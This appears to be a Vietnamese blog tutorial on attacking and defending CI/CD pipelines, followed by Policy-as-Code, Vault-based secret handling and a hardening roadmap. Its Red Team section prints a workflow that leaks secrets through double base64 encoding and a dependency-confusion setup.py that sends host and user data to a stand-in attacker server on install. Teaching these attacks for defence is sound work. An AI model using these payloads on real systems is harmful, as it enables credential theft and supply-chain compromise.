Trang chủ
Bài đăng

DevSecOps Kỹ thuật Tấn công & Phòng thủ

Chuyện về devsecops

KỸ THUẬT TẤN CÔNG HỆ THỐNG DEVOPS VÀ KIẾN TRÚC PHÒNG THỦ DEVSECOPS CHUYÊN SÂU

Phân tích từ góc độ Red Team và Kiến nghị giải pháp White Hat

PHẦN I: TỔNG QUAN VÀ BỐI CẢNH AN NINH DEVOPS

Bề Mặt Tấn Công Đang Mở Rộng của CI/CD

CI/CD pipeline đã trở thành **một tác nhân đáng tin cậy (trusted actor)** nắm giữ quyền lực sâu rộng, thường bao gồm quyền truy cập vào môi trường Production và Secret Vaults. Sự tự động hóa và các dependencies làm mở rộng bề mặt tấn công. Pipeline là **điểm khai thác tập trung (Single Point of Compromise)**, mang lại lợi ích tối đa cho kẻ tấn công nếu bị chiếm đoạt.

Các Rủi ro CI/CD Nghiêm trọng:

  • Rò rỉ Bí mật (Secret Leaks): Khóa API, mật khẩu.
  • Tấn công Chuỗi Cung Ứng (Supply Chain Attacks): Nhắm vào dependencies.
  • Lỗi Cấu hình (Misconfigurations): Trong các công cụ CI/CD hoặc hạ tầng.
  • Kiểm soát Truy cập Không đầy đủ (Insufficient Access Controls).

Nguyên tắc Cốt lõi: Phải áp dụng triệt để **Nguyên tắc Quyền hạn Tối thiểu (Least Privilege)** cho chính **môi trường thực thi của pipeline (CI/CD Runner/Agent)**.

Nền tảng Chiến lược DevSecOps: Shift-Left Security

Tích hợp bảo mật càng sớm càng tốt để giảm chi phí sửa lỗi.

Giai đoạn 1: Code/Commit

Kiểm tra: Static Analysis (SAST), Secret Scanning, Pre-commit hooks.

Giai đoạn 2: Build/Integrate

Kiểm tra: Software Composition Analysis (SCA) cho dependencies, Policy as Code (PaC) cho IaC.

Giai đoạn 3: Test/Stage

Kiểm tra: Dynamic Analysis (DAST), Tấn công giả lập (Pen Test).

Giai đoạn 4: Deploy/Monitor

Kiểm tra: Continuous Monitoring, Drift Detection, Tự động Rollback.

PHẦN II: PHÂN TÍCH KỸ THUẬT TẤN CÔNG (RED TEAM ANALYSIS)

Vector 1: Trích Xuất Bí Mật CI/CD (Secrets Extraction)

Mục tiêu: Chiếm đoạt credentials có quyền truy cập cao. Kỹ thuật vượt qua cơ chế che giấu (masking) trong logs.

Kỹ thuật Cốt lõi: Mã hóa Kép (Double Base64 Encoding)

Lớp mã hóa Base64 đầu tiên khiến bộ lọc sanitization không nhận diện được chuỗi bí mật gốc, do đó không che giấu nó. Kẻ tấn công giải mã hai lần để lấy bí mật.

Thực hành PoC (Code): Khai thác GitHub Actions Secrets

Tạo file workflow độc hại để ánh xạ và in ra bí mật đã được mã hóa kép:

#.github/workflows/malicious_extract.yml
name: Secrets Extractor
on: [push] 
jobs:
  extract:
    runs-on: ubuntu-latest
    steps:
    - name: Exfiltrate Repo Secret
      run: sh -c 'env | grep "^secret_" | base64 -w0 | base64 -w0'
      env:
        # Ánh xạ bí mật vào biến môi trường mới
        secret_REPO_SECRET: ${{secrets.CRITICAL_API_KEY}}

Sau khi pipeline chạy, kẻ tấn công giải mã chuỗi output trong logs để lấy CRITICAL_API_KEY.

Vector 2: Tấn Công Chuỗi Cung Ứng (Supply Chain Poisoning)

Tấn công nhắm mục tiêu vào dependencies hoặc các thành phần được sử dụng trong pipeline.

Kỹ thuật Phổ biến: Dependency Confusion

Khai thác mô hình ưu tiên độ phân giải của Package Managers (PyPI, npm). Kẻ tấn công đẩy gói độc hại lên kho công cộng **cùng tên** với gói nội bộ nhưng **phiên bản cao hơn** (ví dụ: 99.9.9).

Cơ chế: CI/CD pipeline tự động cài đặt phiên bản cao nhất từ kho công cộng, đưa mã độc vào môi trường build.

Thực hành PoC (Code): Tạo Malicious Python Package

Mã độc được chèn vào setup.py, thực thi ngay trong quá trình cài đặt gói:

# setup.py của gói độc hại "internal-package-name"
from setuptools import setup
from setuptools.command.install import install
import os, requests, socket, getpass

class CustomInstall(install):
    def run(self):
        # Mã độc được thực thi trong quá trình cài đặt
        hostname = socket.gethostname()
        username = getpass.getuser()
        
        # Exfiltrate thông tin hệ thống đến máy chủ kiểm soát
        requests.get("https://attacker-c2.net/exfil", params={'host': hostname, 'user': username}) 
        
        # Tiếp tục cài đặt để tránh nghi ngờ
        install.run(self) 

setup(
    name="<internal-package-name>", # Tên gói giả mạo
    version="99.9.9",
    cmdclass={'install': CustomInstall},
    packages=[]
)

Lỗi Cấu hình IaC Mang Tính Hệ thống (IaC Misconfigurations)

Một lỗi cấu hình trong IaC (Terraform, CloudFormation) có thể **codify vulnerabilities into your infrastructure DNA** và nhân rộng trên nhiều môi trường (dev, staging, production).

Ma trận Rủi ro Lỗi Cấu hình IaC (Terraform)

Lộ Dữ liệu S3

Mô tả: Đặt acl = "public-read" hoặc vô hiệu hóa Public Access Block.

Tác động: Rò rỉ dữ liệu nhạy cảm (DB backups, customer data) ra Internet.

Quyền Hạn IAM Quá Mức

Mô tả: Cấp quyền Wildcard (*/*) cho Role/Principal (ví dụ: Action = "*", Resource = "*").

Tác động: Privilege Escalation; Kẻ tấn công chiếm quyền quản trị toàn bộ tài khoản.

Database Exposure

Mô tả: Đặt RDS instance thành publicly_accessible = true.

Tác động: Database instance trên public subnet, dễ bị brute force và tấn công từ bên ngoài.

Server Exposure (SSH)

Mô tả: Mở Security Group cho dải IP 0.0.0.0/0 trên cổng nhạy cảm (22, 3389).

Tác động: Phơi bày máy chủ web/tính toán ra các cuộc tấn công quét và brute force SSH.

Chiến lược Phòng thủ IaC Tự động: Policy as Code (PaC)

PaC chuyển đổi các yêu cầu bảo mật từ tài liệu tĩnh thành các quy tắc thực thi được, chặn lỗi cấu hình trước khi triển khai.

Giải pháp Code: Xây dựng Policy với OPA/Rego

Ví dụ Policy Rego ngăn chặn việc tạo S3 bucket có quyền truy cập công cộng:

# policy.rego: Deny Public Read ACL on S3
package terraform.deny_s3_public_read

# Rule 1: Deny if acl is set to "public-read"
deny[msg] {
    resource := input.resource.aws_s3_bucket[_]
    resource.acl == "public-read"
    msg := "Lỗi: S3 bucket không được phép thiết lập public read access (acl=public-read)."
}

# Rule 2: Deny if public access block settings are disabled
deny[msg] {
    resource := input.resource.aws_s3_bucket_public_access_block[_]
    resource.block_public_acls == false
    msg := "Lỗi: Cần kích hoạt Public Access Block (block_public_acls=true) cho S3."
}

Policy này được thực thi trong CI/CD bằng Checkov/Conftest *trước* khi lệnh terraform apply được phép chạy.

PHẦN IV: GIẢI PHÁP VÀ KIẾN TRÚC PHÒNG VỆ CHUYÊN SÂU

Quản lý Bí Mật Tập trung và Động (Centralized Secrets Management)

Giải pháp chống lại **Vector 1 (Trích Xuất Bí Mật)** là loại bỏ bí mật tĩnh và thay thế bằng hệ thống quản lý bí mật JIT (Just-in-Time).

Giải pháp Code: Fetch Secrets JIT (GitHub Actions)

Chỉ truy cập bí mật khi cần thiết bằng Vault (sử dụng OIDC/Workload Identity để xác thực không cần credentials tĩnh):

# Hardening: Fetching secrets from a dedicated Vault
name: Secure Deployment
on: [push] 
jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
    - name: Authenticate to Vault
      # Sử dụng OIDC/Workload Identity thay vì PAT tĩnh
      uses: hashicorp/vault-action@v3
      with:
        method: github
        role: repo-deployment-role
    
    - name: Fetch and Use Secret
      # Bí mật chỉ tồn tại trong bước này
      id: secrets
      uses: hashicorp/vault-action@v3
      with:
        secrets: |
          secret/data/app/prod API_KEY | API_KEY;
        exportEnv: true 

    - name: Deploy Application
      run: |
        echo "Starting deployment..."
        /usr/bin/deploy-tool --api-key=$API_KEY
      # Sau bước này, API_KEY bị hủy khỏi môi trường runner

Tích hợp Kiểm thử An ninh Liên tục (Continuous Security Integration)

Áp dụng các công cụ AST (Application Security Testing) ở các giai đoạn phù hợp:

SAST (Static Analysis)

Tập trung: Mã nguồn tùy chỉnh.

Giai đoạn: Code Commit, Build.

Mục đích: Phát hiện lỗi coding flaws, SQL Injection, XSS.

SCA (Software Composition Analysis)

Tập trung: Thư viện bên thứ ba (dependencies).

Giai đoạn: Build, Integration.

Mục đích: Phát hiện CVEs đã biết trong thư viện.

DAST (Dynamic Analysis)

Tập trung: Ứng dụng đang chạy.

Giai đoạn: Test, Staging, Production.

Mục đích: Giả lập tấn công thực tế (từ góc nhìn bên ngoài).

PHỤ LỤC: LỘ TRÌNH HÀNH ĐỘNG ĐỀ XUẤT (ACTIONABLE ROADMAP)

Giai đoạn 1: Kiểm soát Bí mật và Truy cập (High Priority - 1-3 tháng)

  • Triển khai Vault JIT bằng Workload Identity/OIDC.
  • Thực hiện **Least Privilege** cho CI/CD Agents/Runners.
  • Tích hợp công cụ **Secret Scanning** vào Git Pre-commit hooks.

Giai đoạn 2: Ngăn chặn Lỗi Cấu hình (IaC Hardening - 3-6 tháng)

  • Áp dụng **Policy as Code (PaC)** bằng OPA/Rego để chặn lỗi cấu hình hệ thống (Public S3, IAM Wildcard).
  • Tích hợp Checkov/tfsec vào giai đoạn Pull Request.
  • Triển khai công cụ **Drift Detection**.

Giai đoạn 3: Bảo vệ Chuỗi Cung Ứng (Supply Chain Integrity - 6-12 tháng)

  • Cấu hình Package Manager ưu tiên **registry nội bộ** (chống Dependency Confusion).
  • Áp dụng **SAST/SCA** để kiểm tra dependencies.
  • **Code Review Bắt buộc** cho tất cả các tệp script build/deploy (chống Poisoned Pipeline Execution - PPE).

Giai đoạn 4: Tăng cường Phục hồi và Giám sát (Continuous Improvement)

  • Áp dụng chiến lược triển khai an toàn (Canary/Blue-Green).
  • Đảm bảo khả năng **Rollback tự động** và nhanh chóng.
  • Thiết lập **Giám sát liên tục** (Continuous Monitoring) để phát hiện hành vi bất thường.

Đăng nhận xét